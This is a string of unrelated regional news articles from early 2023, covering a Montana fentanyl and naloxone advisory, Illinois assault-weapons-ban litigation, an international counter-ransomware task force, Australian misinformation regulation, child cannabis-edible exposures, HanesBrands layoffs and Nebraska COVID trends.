Fentanyl, a synthetic and short-acting opioid analgesic, is 50-100 times more potent than morphine and approved for managing acute or chronic pain associated with advanced cancer. Although pharmaceutical fentanyl can be diverted for misuse, most cases of fentanyl-related overdoses have been linked to illicitly manufactured fentanyl and fentanyl analogs, collectively referred to as non-pharmaceutical fentanyl (NFP). NPF is sold via criminal drug markets for its heroin-like effect and often mixed with heroin and/or cocaine as a combination product  with or without the users knowledge  to increase its euphoric effects. While NPF-related overdoses can be reversed with naloxone, a higher dose or multiple number of doses per overdose event may be required to revive a patient due to the high potency of NPF.

Illicit NFP comes in numerous forms, but the most common forms are pills and powder. The most common form of illicit fentanyl in Montana currently is pill form, according to a statement released by the Ravalli County Sheriffs Office. Usually, the pill is blue and has M 30 pressed into it, but it can come in a variety of colors.

Fentanyl is ingested by smoking, injection, snorting and orally. Smoking is the most frequent method of ingestion and is often linked to overdoses in Montana.

Over the course of the last several months, law enforcement agencies across the state have also seized rainbow fentanyl. Rainbow fentanyl also has an M30 pressed into it but is available in numerous colors.

The Montana Health Department is recommending that eligible recipients, including individuals at risk for opioid-related overdoses, family members and friends of those at risk, carry naloxone.

The state has issued a standing order that allows Montanans to access naloxone through federal grants for free. Naloxone is a safe medication that can reverse a suspected opioid-related overdose.

Community organizations, law enforcement agencies, detention facilities, EMS and others can acquire naloxone for free to have on hand for staff and/or distribute to people at risk of experiencing or witnessing an overdose, through www.naloxone.mt.gov.

Naloxone is available to individuals at various locations that can be found on the www.naloxone.mt.gov map. Formal training is not required but is available, and basic instructions are provided with the medication. Montanas Good Samaritan Law provides legal protection to those who administer naloxone, even if they are using substances, too. Naloxone is also available from some pharmacy locations pending insurance approval. Naloxone is available to order for free through www.naloxone.mt.gov.

Some signs that may indicate an overdose include:

 Small constricted pinpoint pupils

 Falling asleep or loss of consciousness

 Slow, shallow breathing

 Choking or gurgling sounds

 Limp body

 Pale, blue, or cold skin

Call 9-1-1 immediately if you suspect someone is experiencing a drug overdose as naloxone reversal effects may be temporary and overdose-related respiratory depression may return.

If you know someone at risk of an overdose, the health department recommends you to encourage them to not use alone and preferably with others knowledgeable about the administration of naloxone, and with a supply of naloxone on hand. They also recommend that people at risk of an overdose seek community support through local safe syringe programs and other organizations that work directly with people struggling with substance abuse.
Montana lost nearly a dozen nursing homes in 2022. The reality is that dozens more assisted living and long term-care facilities are hanging by a thread.

They are waiting to see if our governor and state Legislature will take the critical steps necessary to keep essential elder services available across this vast state. Now is the time to make your voice heard on this essential concern.

While the governor says Montanans would prefer to age in their homes, and no one would disagree, the reality is that a beloved father or uncle or husband, weighing 200-plus pounds, incontinent, becoming combative in his dementia, may be more than his 85-year-old, 100-pound spouse can handle.

As facilities with skilled nursing, medications management, PT, balanced nutrition and 24-7 caregivers shut their doors, families are seeing their loved ones shipped hundreds of miles away, only to see that facility close a few months later, just about the time their loved one begins to become comfortable with staff and furniture.

This does not need to happen.

The governor and lawmakers need to adjust their budget to implement the recommendations of the $2 million provider rate study they commissioned last year. The governors budget does not come close to achieving this.

Also, the governor and lawmakers need to put the money where their mouth is when it comes to funding for home- and community-based services, which at this point does not come close to meeting the needs of our elders.

Many could get along in their homes with just a little help: balanced nutrition support, home care and case management to assist with household chores, meds, adaptive structures and equipment to help accommodate independence.

In contrast, the state of Montana is sitting on a $2 billion surplus, and this week the Senate will take up a bill (SB 121) that gives $6,000/year to Montanans making over $1 million/year, like our governor, and a $50 annual tax cut on average to Montanans making $43,000-$67,000 a year.

That kind of largess to the wealthy could instead go to fund the necessary budget help needed to support the generation that raised us, built our schools and roads, and taught us the difference between right and wrong, so they might age with dignity, close to loved ones in the communities they supported for so many years.

If you want to help, you can reach out to your representative or senator (leave a message with the Capitol switchboard at 406-444-2511) and Gov. Greg Gianforte (406-444-3111) and ask them to fully fund elder services, both long-term care and home and community-based services.

For more information about contacting your elected officials, go to leg.mt.gov/session/have-your-say/.
DECATUR  Health experts said the loss of inpatient behavioral health services from HSHS St. Marys Hospital is a blow to Decatur, but police encountering the mentally ill on the streets said it wont affect how they do their jobs.

Patrol officers often bring those they believe are suffering psychotic episodes or other mental health problems to St. Marys where they can be admitted voluntarily or involuntarily for treatment.

Macon County Sheriff Jim Root said police officers will still be able to do that, even after the inpatient services go away. I got a call from (St. Marys) CEO Theresa Rutherford to explain that those services will still be available, Root added.

The sheriff said, however, that such patients will be evaluated at the hospital in the future but not treated there. They will do their diagnosis or assessment and then either make a decision to find them a place for treatment or release them, Root said.

Decatur Memorial Hospital does not offer inpatient behavioral health services.

The issue of where alternative treatment venues might be and the protocols for getting patients the help they need are now being worked out by experts like Mary E. Garrison, president and CEO of Heritage Behavioral Health Center.

Garrison said Heritage, which deals with some 6,000 patients a year, was the largest provider of outpatient behavioral health services in the Decatur community. She said she was now in consultation with St. Marys to forge a path ahead for the future.

So now we need to figure out with St. Marys how we are going to bridge that gap, she said of the loss of in-patient beds. My hope is, as with any individual, that we could get them into our outpatient care for mental health services and wrap our services around them.

That still leaves the problem of finding beds for those for whom there is no alternative, which Garrison said presented challenges. Well, its going to be a difficult time, she added. We have problems across the state and the country of access to beds for behavioral health, and so not having those beds in our community is not ideal.

Garrison said she could also empathize with a hospital having to make tough budget choices. I very much know that St. Marys didnt want to have to make this decision, she added.

But there are other things in play that make all this very difficult, like reimbursement rates; there is just not enough funding in mental health.

Its not all bad news, however. Garrison said other initiatives, already under way, are helping deal with mental health problems in the community. She cited the example of the Local Crisis Response Team which provides experts available 24/7 that police can call out to assist with mental health situations.

We have a really strong relationship with Sheriff Root and Decatur Police Chief Shane Brandel, said Garrison. So that framework is already in place, which is good.

PHOTOS: HSHS St. Mary's Hospital hosts Blessing of the Animals service
SPRINGFIELD  Just days after an Effingham County judge granted a temporary restraining order blocking enforcement of the state' semiautomatic weapons ban on 850 people and four firearms dealers, more gun owners are seeking a reprieve.

State Rep. Dan Caulkins, R-Decatur, confirmed that he and a group of gun owners and dealers are planing to file a lawsuit in Macon County Circuit Court challenging the state's ban. Caulkins represents the 88th House District, which includes communities in DeWitt, Macon, McLean and Piatt counties.

Like the lawsuit filed in Effingham by former Illinois attorney general candidate Tom DeVore last week, the group is seeking a restraining order that will shield them from being subject to the law.

DeVore also filed a new lawsuit Monday challenging the ban in White County, this time with more than 1,600 gun owners and several dozen gun dealers listed as plaintiffs. A hearing is scheduled for Wednesday morning.

Caulkins said Monday evening that more than 250 gun owners and about a half-dozen gun dealers have agreed to sign onto his litigation. The group has retained Decatur attorney Jerry Stocks to represent them.

"The ground has been broken by Tom DeVore," Caulkins said. "And there are just people that are hopeful that they can get some relief."

Caulkins said he and some others also plan to file a federal lawsuit in the coming days. The Illinois State Rifle Association filed its own suit in federal court last week.

When asked about the two-pronged approach, Caulkins said filing in state court would be more expedient in the short term.

"We believe that it's the quickest way for people to get some relief from what many of us believe is an unconstitutional law," Caulkins said. "We're filing our federal lawsuits probably tomorrow ... But those lawsuits are going to take, I think, a lot longer to get a judgment."

Illinois lawmakers passed and Gov. J.B. Pritzker signed the semiautomatic weapons ban into law two weeks ago. It is now the ninth state with a ban on assault-style firearms.

Pritzker has defended the law as constitutional and did so again in an appearance in Decatur on Tuesday. Responding to a question about the litigation, he said:

"These are folks who are in the superminority among the public, superminority in terms of elected officials, people who lost elections who, now seeing that they don't like policy that they couldn't win at the ballot box on, now hope they can take to state court and win with a local judge," the governor said.

The matter will play out in state and federal court in the coming months, he said.

"I think that they'll lose in the end. This is a constitutional law," Pritzker said. "It's been in effect in eight other states. We're simply the ninth state to have passed, signed and put into law an assault weapons ban that will save lives."

Under the law, those who owned such weapons prior to enactment of the ban are grandfathered in, but must register their serial numbers with the state police by Jan. 1, 2024.

Several gun owners, including some state lawmakers, have said they will not comply with the new law. Dozens of sheriffs across the state have said they will refuse to enforce the ban.

Long term, the legal battle is likely to be played out in federal court, where the constitutionality of gun restrictions is uncertain following the June 2022 decision in New York State Rifle & Pistol Association, Inc. v. Bruen, in which the court established a new process for evaluating Second Amendment cases.

States with the biggest gun industries States with the biggest gun industries #50. Washington DC (tie) #50. Hawaii (tie) #49. Rhode Island #48. Delaware #47. New Jersey #46. Vermont #45. New York #44. North Dakota #43. Illinois #41. Alaska (tie) #41. Maine (tie) #40. Massachusetts #39. South Dakota #38. Nebraska #37. Wyoming #36. West Virginia #35. Connecticut #34. New Mexico #33. California #32. Montana #31. New Hampshire #30. Maryland #29. Mississippi #28. Idaho #27. Iowa #26. Utah #25. Louisiana #24. Arkansas #23. Nevada #21. Oregon (tie) #21. Washington (tie) #19. Oklahoma (tie) #19. Minnesota (tie) #18. Kansas #17. South Carolina #16. Kentucky #15. Wisconsin #14. Alabama #13. Missouri #12. Indiana #11. Michigan #10. Tennessee #9. Colorado #8. Georgia #7. Virginia #6. Ohio #5. North Carolina #4. Pennsylvania #3. Arizona #2. Florida #1. Texas
Greece insisted that the debate on the possible return of the Parthenon Marbles from Britain was "not closed" despite London appearing to rule it out.
Vote now until noon on April 20th to support the businesses that you think are the best in the New Braunfels area.
The Catawba County Schools Board of Education voted unanimously on Monday night to give full-time and part-time employees one-time retention bonuses in early June.

Substitute teachers and tutors employed by the school system will also receive bonuses.

Full-time employees will receive up to $1,000, and part-time employees will receive up to $500. Catawba County Schools Chief Financial Officer Karla Aldridge said after the meeting the board has not determined how much substitute teachers and tutors will be paid.

The bonuses will be based on hire date. If a full-time employee worked the entire 2022-23 school year, they will receive the full $1,000. If a full-time employee started in September, one month into the school year, they will receive $900.

The bonuses are for employees who are currently on the payroll. Substitute teachers and tutors must have worked an average of 10 hours per week to be eligible.

It would cost about $2.5 million to grant all 1,822 full-time employees and 126 part-time employees the full bonuses. Because the bonuses are based on hire date not everyone will receive the full amount. That means there is wiggle room in the $2.5 million estimate, Aldridge said.

The funding for these bonuses will come from the federal Elementary and Secondary School Emergency Relief (ESSER) fund. Specifically, ESSER II, which is the second installment of federal funding. ESSER II expires on Sept. 2023. If any funds remain after expiration, it is returned to the U.S. Department of Education.
On a Sunday afternoon, a small group gathers at St. Stephens Lutheran Christian Schools to crochet and knit. Some craft for themselves. Some craft for friends or family. Everyone, at some point, has created items for donation with the help of Dede Starnes, who provides patterns and materials.

Starnes, 54, is the woman behind TwinKnits. It is a project, that was created with the intention to share Gods blessings with others through crafting, according to the TwinKnits website.

The afternoon work sessions are called Stitching at St. Stephens, Starnes said.

TwinKnits hosts working sessions and workshops. Starnes said she hosts free, public workshops at the library and workshops for the Girl Scouts.

Each month, Starnes gives participants the opportunity to join a mission challenge project to craft items for organizations. In January, the mission is to craft lap blankets for the wheelchair-bound and pocket crosses for local organizations that aid veterans. That includes Camp Eagle Rocks military family support programs.

Since she started Stitching at St. Stephens in 2018, Starnes has branched out and made connections as far as New Jersey with programs such as Hats Not Hate, she said.

Its this idea of using the creation and giving of blue hats to promote kindness and solidarity to others who may have experienced bullying, Starnes said of the program. (Its) mostly for kids in the school system to try to give them the sense that being kind is a good thing.

During the interview, which took place during a Stitching at St. Stephens gathering, Starnes said that the women in the room were the ones worth recognition for their kindness and generosity.

In a phone call, group member Cheryl Martin, 78, described Starnes as caring and encouraging.

Martin has been in the group for two years. In the beginning, she said she had just moved to the area and had not met many people. Somehow, she said, she stumbled upon a link to Starnes group and was excited to find women who got together to crochet.

She made me feel very welcome, Martin said. Like she was so happy I was there. She made me feel important. Even after that, she made me feel like I made a difference to the group.

Participants can bring their own materials, but it is not a requirement. Starnes supplies materials and using her stock is free.

The idea is not to make money, Starnes said. Whatever money comes in, I go out and either donate it, (or) buy more yarn for makers or workshops in town.

What is most important to her, Starnes said, is bringing the community together to help one another learn and grow.
Gruver Native Fires Shot Line Aboard USS Decatur

U.S. Navy photo by Mass Communication Specialist 2nd Class David Negron

230107-N-SN516-1075 PHILIPPINE SEA (January 7, 2023)



U.S. Navy Fire Controlman 2nd Class Johana Borunda, from Gruver, Texas, fires a shot line to the fleet replenishment oiler USNS Guadalupe (T-AO 200) during a replenishment-at-sea (RAS) aboard the Arleigh Burke-class guided-missile destroyer USS Decatur (DDG 73).



Decatur, part of the Nimitz Carrier Strike Group, is currently underway in 7th Fleet conducting routine operations.



7th Fleet is the U.S. Navys largest forward-deployed numbered fleet, and routinely interacts and operates with 35 maritime nations in preserving a free and open Indo-Pacific region.








Amidst encouraging signs that the global anti-ransomware effort may well be working, Australian cyber security experts are helming a global anti ransomware task force that has unified authorities in 37 countries in an effort to stamp out the insidious threat.

Having been agreed upon at an international meeting at the second annual CRI Summit in November, the newly created International Counter Ransomware Task Force (ICRTF) is designed to support the United Nations framework for responsible state behaviour in cyberspace.

It outlines four key objectives  including holding ransomware actors accountable and denying them safe haven; implementing know your customer (KYC) and other anti money laundering (AML) policies for virtual assets; disrupting and prosecuting ransomware gangs under local laws; and sharing information to ensure national cyber infrastructure is not being used in ransomware attacks.

Australia led the CRI working group on disruption and was appointed the inaugural chair of the ICRTF at that meeting, putting it in charge of a range of initiatives including the establishment of a fusion cell centre of expertise at Lithuanias Regional Cyber Defense Centre (RCDC) that will, among other things, aggregate and publish cyber attack data from ICRTF members.

The group will also focus on deliverables including accumulating collective knowledge to develop a ransomware investigators toolkit; publishing joint advisories sharing known details of ransomware gangs tactics; techniques, and procedures (TTPs); coordinating efforts to take down priority hard and complex targets with the assistance of law enforcement groups; and running biannual counter ransomware exercises to bolster the international response.

Recent cyber incidents in Australia and around the globe are a stark reminder of the insidious nature of ransomware, and the ability of cyber criminals to cause widespread disruption and harm to broad sections of the community, Minister for Home Affairs and Cyber Security Clare ONeil said in announcing the commencement of the ICRTFs activities.

In Australia, the ICRTF will complement existing activities including the 100-strong joint Australian Federal Police (AFP) and Australian Signals Directorate (ASD) established late last year to combat what ONeil called cyber scumbags holding businesses and governments to ransom.

With a stated objective of making Australia the worlds most cyber secure country by 2030, the government has taken an increasingly aggressive stance against cyber criminal activity  including launching a formal Ransomware Action Plan, overhauling its Cyber Security Strategy, and boosting data breach fines to ensure companies play an active role in swatting down malicious actors.

Ransomware getting better at last?

Australias relative wealth and sub-par security have long made it a favoured target of ransomware gangs, although newly released figures suggest that global pushback against the criminals may finally be getting traction.

Newly released figures from Chainalysiss latest annual crypto crime report suggest that payments to ransomware-linked crypto accounts are significantly down  from $1.2 billion ($US766 million) in each of 2020 and 2021, to just $710 million ($US457 million) last year.

The decline, Chainalysis believes, is because a growing number of companies are refusing to pay the ransoms demanded of them  suggesting that growing enforcement, clearer policies, and better anti-ransomware solutions are turning the ransomware tide.

And while the figures dont necessarily mean the number of ransomware strains has decreased, Chainalysis said those strains are remaining active for much less time  70 days last year compared with 153 days in 2021, and 265 days in 2020  as attackers scramble to obfuscate their activity.

Despite the large number of ransomware strains seemingly in existence at any one time, Chainalysis noted, the actual number of individuals who make up the ransomware ecosystem is likely quite small.

That could make life easier for the ICRTF, whose focus on priority targets could make it easier to effect dramatic reductions in ransomware volumes by taking out a few key ransomware gangs.

The 37 founding countries of the ICRTF include most European member states as well as the US, Canada, UAE, South Korea, Japan, Singapore, Ukraine, Israel, Brazil, Dominican Republic, Mexico, Kenya, Nigeria, South Africa, Australia, and New Zealand.

But thats just the beginning, ONeil said, reinforcing the importance of increasing numbers to ensure ransomware gangs have nowhere to hide.

Ransomware represents a global threat, she said, and Australia calls on other nations to be part of this global initiative to support effective detection, disruption and prosecution of cyber criminals who use ransomware for financial and other gain.
The media regulator will take a more active role in keeping social media accountable. Image: Shutterstock

The government wants to give the Australian Communications and Media Authority (ACMA) a more direct role in combatting mis- and disinformation online by enforcing a pre-existing industry code of practice already agreed to by the likes of Facebook, TikTok, Google, and Twitter.

Communications Minister Michelle Rowland said mis- and disinformation poses a threat to the safety and wellbeing of Australians, as well as to our democracy, society and economy.

A new and graduated set of powers will enable the ACMA to monitor efforts and compel digital platforms to do more, placing Australia at the forefront in tackling harmful online misinformation and disinformation, she said.

Currently the industry is self-regulated via a voluntary code of practice for mitigating misinformation that Adobe, Apple, Facebook, Google, Microsoft, TikTok, Twitter, and RedBubble have adopted.

Misinformation, as defined by the code, is any digital content shared by a platforms users which is verifiably false or misleading or deceptive and which is reasonably likely to cause harm.

Disinformation has largely the same definition except that it is shared via inauthentic behaviours.

Harm in this context refers to any content which poses a credible and serious threat to democracy or public goods like health.

Misinformation spread during the COVID-19 pandemic and greater expectations were placed on the tech giants to stop the spread, even going as far as temporarily banning the YouTube channel for Sky News Australia.

According to Rowlands office, the new laws  a draft of which is yet to be circulated  will give ACMA more authority over the code of practice through information-gathering and record-keeping powers as well as the ability to register an enforceable industry code if self-regulation proves to be ineffective.

James Clark, Executive Director of Digital Rights Watch, said hes happy to see better oversight and accountability for big tech and social media platforms.

Self-regulation is almost never effective and government regulators have a role to play, Clark said, adding that there should be a review of the codes effectiveness prior to making it mandatory.

Its hard to say how effective the code has been without proper review and this is probably a good opportunity to investigate the effectiveness of the code before giving ACMA more powers, he told Information Age.

We should also be investigating ways to rein in the power these companies have and protect local media and creative industries.

The code of practice is managed by the Digital Industry Group Inc (DIGI), an association founded by tech giants with the stated aim of advocating for policies that enable a growing Australian technology sector by letting them self-regulate, for example.

DIGIs self-regulatory code was met with skepticism from digital rights groups who claimed it was a way for big tech companies to skirt around the fact disinformation was being algorithmically spread around their platforms in order to maximise audience engagement.

Managing director of the industry group, Sunita Bose, said DIGI broadly welcomes the forthcoming ACMA powers.

DIGI is committed to driving improvements in the management of mis- and disinformation in Australia, demonstrated through our track record of work with signatory companies to develop and strengthen the industry code, she said.

We welcome that this announcement aims to reinforce DIGIs efforts, and that it formalises our long-term working relationship with the ACMA in relation to combatting misinformation online.
Did your employer look after you during the pandemic? Photo: Shutterstock

A number of global tech giants are among the best places to work at in Australia, according to a new report.

The Top Employers Institute has revealed its top ranking workplaces for 2023, with five tech companies scoring a place among the top companies in Australia.

The Institutes program certifies companies based on the participation and results of their Human Resources Best Practices Survey, which covers six human resources domains and 20 topics including people strategy, work environment, talent acquisition, learning, diversity and inclusion, and wellbeing.

The top five tech companies to work for in Australia are:

 HCLTech

 Infosys

 WiPro Limited

 Tata Consultancy Services

 UST Global.

The companies recognised as top employers performed particularly well during the pandemic and looked after their employees, Top Employers Institute CEO David Plink explained.

Exceptional times bring out the best in people and organisations, he said.

And we have witnessed this in our Top Employers Certification program this year: an exceptional performance from the certified Top Employers 2023.

The 2023 iteration of the report acknowledges some of the companies that cared for their employees effectively during the pandemic and have maintained many of the same practices in recent months.

The Top Employers Institute has now certified more than 2,000 companies across more than 120 countries.

To be recognised, a company must first be evaluated against the organisations entry criteria. Once approved, the company takes part in the survey and is judged based on its people practices.

The survey covers six HR domains: steer, shape, attract, develop, engage and unit.

To be eligible, a company must have at least 250 local or 2,500 international employees, and advanced and formal human resources practices.

HCLTech is a global tech firm employing nearly 220,000 people across 54 countries, and with offices in Adelaide, Brisbane, Canberra, Melbourne, Perth and Sydney. The company assists other businesses with digital transformation, having capabilities across digital, engineering and cloud.

Included in its HR-focused policies is the employee-driven initiative TechBee.

This early-career program helps to train the next generation of tech workers, and is aimed at trying to attract workers with a non-tech background to reskill into the sector.

The company was named as a Top Employer in the Asia-Pacific, Europe, North America and globally.

HCLTech executive vice president and country manager Australia and New Zealand Michael Horton said being a top employer is all about putting the workers first.

Our employees are at the heart of our business, and by putting them first, weve fostered a community where employees can grow as individuals and work as a collective, Horton said.

Fellow Top Employer Infosys has 5500 employees across Australia and New Zealand, with offices in Melbourne, Brisbane, Parramatta and Perth.

WiPro has more than 2000 workers in Australia and offices in Sydney, Melbourne, Canberra, Brisbane and Perth.

Tata Consultancy has 20,000 associates in Australia, India and other regions to service the local market, while UST has offices in Sydney and Melbourne.
Medical workers in Illinois are warning adults to keep marijuana edibles away from kids, after an alarming jump in the number of accidental consumptions.

The number of exposures to edible cannabis among children 5 and younger from 2017-2021 reported in Illinois increased from 5 to 232 cases  a 4,500% increase. Most of the increase was during the pandemic years of 2020-2021. Illinois legalized recreational marijuana in 2020.

Nationally, researchers found the number of cases rose from 207 in 2017 to 3,054 in 2021, an increase of almost 14 times.

We are experiencing an increased amount of poison center calls and hospital visits involving children who unintentionally consumed cannabis edibles, said Illinois Poison Center Medical Director Michael Wahl, one of the authors of the study. IPC advises parents to store THC edibles in a safe place that is out of the reach of children and avoid buying edibles that look like candy or a treat that a child would be eager to try. These unintentional ingestions are causing minor to severe reactions in children, including vomiting, seizures and coma.

As the Tribune first reported last year, the number of calls for people of all ages to the Illinois Poison Center for cannabis rose from 487 in 2019, to 743 in 2020, the year recreational weed was legalized in the state, and increased to 855 in 2021. Most of the calls were for unintentional consumption of edibles by people who didnt know what they were eating.

Most cases were not severe and were resolved over the phone, but some required hospitalization until the effects wore off.

The poison center offered the following tips to keep kids safe:

Store weed gummies and other edibles like medication, in child-resistant containers out of reach of kids, and not in the kitchen.

Store in non-see-through containers, not in clear containers like baggies.

Avoid buying edibles packaged to look like candy.

Dont consume THC products in front of children.

Ask family, friends and caregivers to follow those precautions as well.

2022 in review: The year in photos
Some area members of Congress, state lawmakers and DuPage County Board members gathered Monday to call on DuPage County Sheriff James Mendrick to retract his statement or resign after he said he will not enforce the states new assault weapons ban.

Mendrick issued a statement Jan. 13, saying he believes the new bill violates Second Amendment rights and that his office wont be checking to ensure that lawful gun owners register their weapons with the state nor arresting or housing anyone charged solely with not complying with the act.

Dozens of sheriffs around Illinois have also declared they will not enforce the new assault weapons ban.

Lawmakers, including U.S. Reps. Sean Casten, D- Downers Grove; Delia Ramirez, D- Chicago; Bill Foster, D- Naperville; and Raja Krishnamoorthi, D- Schaumburg, spoke at Mondays news conference at Danada House in Wheaton, calling Mendricks statement irresponsible.

I just want to say with one voice, we cannot wait another day, we cannot wait another hour, we cannot wait another minute for the sheriff to do his duty because lives depend on it, Krishnamoorthi said.

Casten said Mendricks actions will make future mass shootings more likely. He said he spoke with Mendrick last week before he and other Democratic lawmakers issued a letter calling on him to retract his statement and answer several questions about his comments by Feb. 3.

In the letter, they asked Mendrick if there were any other laws he has chosen to disregard because he viewed them as unconstitutional.

The questions we ask are questions all citizens should want to know. If he believes he has the authority to act as a judge and interpret the Constitution, please advise where that authority resides because all of us who operate under the laws of the United States have not previously been familiar with that theory, Casten said.

In an interview with the Chicago Tribune last week, Mendrick said he planned on staying out of the statewide outcry among other sheriffs about the new law but said the concerns he heard from his own deputies and regular citizens were too much to ignore.

The first couple of days, I was actually trying to call people back personally. But everyone would keep me on the phone for 30, 40 minutes apiece. Every citizen I talked to wanted to vent on all of this stuff, said Mendrick. The way the law was released scared society. I know it wasnt the intent. But it did. It scared everybody who owns guns.

Gun owners, lawful gun owners, this makes them feel that their rights are being infringed upon, that this is just the beginning, said Mendrick. How much further will it go after this?

He said he tries to comply with everything I can but believes the new law, as written, is incomplete. While the ban says that current owners of high-capacity magazines are required to register them with the Illinois State Police by April and high-powered weapons by Jan. 1, Mendrick is concerned over whether hell have the police resources to enforce the law.

If youre expecting us to be the arm of this, how? Tell me where I get the people, he said.

If manpower is the issue, Casten encouraged Mendrick to reach out to legislators to try and seek federal, state or county funding to help increase staffing levels.

In a follow-up statement after the news conference, Mendrick said the law is poorly written and has no clear direction as to who will be enforcing it. He said he was contacted by Casten on Jan. 16 about enforcing the law.

There is absolutely nothing that we are doing or not doing that would make a mass shooting more accessible in DuPage County, Mendrick said in the statement. In fact, I have asked on multiple occasions to increase penalties on all existing gun crimes, but it does not appear that they want to have that conversation. They seem more concerned with lawful gun owners than people illegally possessing guns.

On Friday, an Effingham County judge temporarily blocked the ban from being enforced on more than 850 people and a handful of licensed gun dealers. The ruling stems from a lawsuit filed last week by attorney Thomas DeVore, a Republican who argued the ban violated the state constitutions due process and equal protection clauses.

The judge set a hearing for Feb. 1. The order only applies to the plaintiffs and the state can still enforce the ban against anyone who isnt a part of the lawsuit.

2022 in review: The year in photos
HanesBrands Inc. said Monday it has cut an unspecified number of local job in response to current financial and sales challenges.

Some affected employees told the Winston-Salem Journal that corporate headquarters jobs were among those eliminated.

At last count, HanesBrands had about 2,300 employees in Forsyth County and about 2,800 in North Carolina counting a distribution center in High Point.

As of February 2022, about 88% of its 59,000 global workforce was based outside of the United States.

We continue to operate in a very challenging environment, and we must focus on controlling costs as we continue to execute our Full Potential plan, spokesman Kirk Saville said.

As a result, we made the difficult decision to eliminate a number of positions across our company. These are valued associates, and we thank them for their many contributions to HanesBrands.

Saville said the manufacturer would not provide additional details since it is in its quiet period prior to releasing its fourth-quarter earnings report Feb. 2.

HanesBrands said Jan. 12 it expected to end fiscal 2022 by slightly exceeding the topline of its fourth-quarter sales projections. It did not provide what the fourth-quarter sales totals would be.

Its fourth-quarter financial guidance included sales in a range of $1.4 billion to $1.45 billion and adjusted earnings in a range of 4 cents to 11 cents. The manufacturer also said adjusted operating profit would be at the midpoint of the projected range.

Exceeding fourth-quarter sales projections, even slightly, is a positive for HanesBrands given it had reduced its fiscal 2022 sales guidance three times.

CFRA Research analyst Zachary Warring said that in response to the third-quarter report that we continue to believe Hanesbrands will struggle as we move into 2023 with a weaker consumer and slowing demand for durable goods.

HanesBrands opened the curtain in May 2021 on its Full Potential initiative, which is focused on its core strengths: its globally recognized basic apparel brands; domestic, Central and Latin America and Asian supply chain; deep consumer loyalty; broad channel distribution; and global footprint.

During the second quarter, Hanesbrands Full Potential changes included: consolidation in the Champion distribution network in the U.S. to two centers; and beginning direct shipping innerwear product from its Central American manufacturing facilities to certain wholesale customers.

The manufacturer opened a West Coast distribution center during the third quarter, while adding automation to several distribution centers to improve picking and sorting speeds while lowering costs.

In May 2017, HanesBrands said a multiyear growth program included 220 jobs being phased out companywide. That included 120 local employees who took voluntary severance packages, as well as another 20 employees in other operations.

On April 2017, the company said it would cut 60 local jobs across several functions, while adding 70 jobs to support operations that were growing, including the online and digital units.
LEXINGTON  Police are investigating a Sunday afternoon shooting that injured two men, one of them critically, authorities said.

About 1 p.m. Sunday, police received a report of a shooting on Winston Road near U.S. 29-70, and on arrival found evidence that a shooting had taken place in the roadway, police said.

While investigating the shooting, authorities said, Lexington Medical Center reported that two men had arrived at the hospital with gunshot wounds. They were identified as Shantae Mccauley, 25 and Dustin Archie, 34. Archie was treated at the Lexington hospital and was in serious condition, while Mccauley was transferred to Atrium Health Wake Forest Baptist in Winston-Salem in critical condition, police said.

Winston Road was closed for almost two hours while police investigated.

Police said anyone with information on the case should call Lexington Crime Stoppers at 336-243-2400.
COVID-19 cases in Nebraska hit a nine-month low last week with the state apparently experiencing something it has never seen during the three-year pandemic  a winter lull.

Nebraska reported 924 cases for the week ending Wednesday, down 38% from 1,486 the previous week, according to data from the federal Centers for Disease Control and Prevention. It was the first time new cases in Nebraska had dropped below 1,000 since the first week of May, and its the lowest case level since late April.

All other indicators, including hospitalizations, also point to falling virus levels.

Nebraska cases have been below 2,000 for four straight weeks after hitting a recent peak of 3,900 just before Christmas.

Nebraska previously has seen extended periods where cases have dropped to those levels. But only during spring, summer and early fall  never before when the weather has turned colder and people have retreated indoors and gathered for the holidays.

To be sure, case counts no longer are considered as accurate a measure of virus activity as they once were. Many people no longer are testing or are using at-home tests that arent reported to health departments.

Dr. Bob Rauner, president of Partnership for a Healthy Lincoln, said that to monitor the virus these days, he typically looks at data based on wastewater sampling results and COVID-19 hospitalizations. Those measures, he said, also are showing reduced virus levels.

Hospitalizations for COVID also decreased last week, by 18% in the U.S. and by 17% in Nebraska. Both hospitalizations and new hospital admissions for COVID also were down in the Northeast and the Mid-Atlantic states, which had seen a significant spike since shortly after the holidays.

Those two also are regions where a new highly transmissible version of the virus, XBB.1.5, made up an estimated 84% or more of the positive samples to undergo genomic sequencing. In Nebraska, that variant made up 6% of samples sequenced in the week ending Jan. 14.

Rauner said he also monitors Bryan Healths COVID dashboard for insight into who is being hospitalized with the virus. On Jan. 22, a total of 17 patients were hospitalized. Fifteen were not up to date on their vaccines, meaning they had not received the latest booster. Of the two who were up to date, both fell into the higher-risk 65-and-older age bracket.

If youre up to date on your vaccines, most people dont have much to worry about, Rauner said.

Most people, he said, can  and are  living life pretty much as normal now. They once again are gathering in large numbers in restaurants, stores and public events. Mask-wearing in such settings has become rare.

Rauner, who is up to date on his vaccines and in his 50s, said he wears a mask only when hes in an airport or at a health care facility.

Rauner said older people and those at higher risk because of a medical condition should get the antiviral drug Paxlovid if they contract the virus, even if they are up to date on their shots.

But he said there is no evidence yet that the coronavirus has become a seasonal virus, like its common cold-causing cousins.

More likely, he said, it is human behavior that is seasonal, because people tend to congregate indoors in groups at certain times of the year.

A University of Nebraska Medical Center epidemiologist recently said he did not expect the state to see dramatic spikes in COVID cases as in the past, as large numbers of previous infections and two years of vaccinations and boosters have left the population with a rough patchwork of immunity. The future of the virus will remain unpredictable.

Meanwhile, the Food and Drug Administration is considering shifting the nations COVID vaccine strategy to an approach similar to that used for the influenza vaccine, NPR reported Monday.

The aim would be to simplify vaccination for COVID-19, possibly relying on annual updates corresponding to whatever strain of the virus is circulating. An agency advisory committee is scheduled to consider the proposal Thursday.

The meeting comes as all but four states reported declining numbers last week. Nebraska was one of a dozen to see cases decline by one-third or more. U.S. cases overall have been falling since early January.

Nebraskas case rate is currently the ninth lowest nationally. Most of its neighbors also rank in the bottom third among states, with Iowa currently 12th lowest.

COVID-19, however, remains a deadly disease for some. Nebraska over the past four months has reported an average of 13 new deaths a week. The total death toll for the three-year pandemic is 4,734.

Meanwhile, influenza and respiratory syncytial virus, or RSV, continue to decline across the country, with three regions dropping below their baseline for outpatient respiratory illness for the first time since October. Nebraskas flu activity was rated low for the first time in weeks.

Charts that track COVID-19 variants, vaccination rates and hospitalizations in Nebraska
A former prison guard caught smuggling methamphetamine and marijuana into the Nebraska State Penitentiary got prison time for it Tuesday.

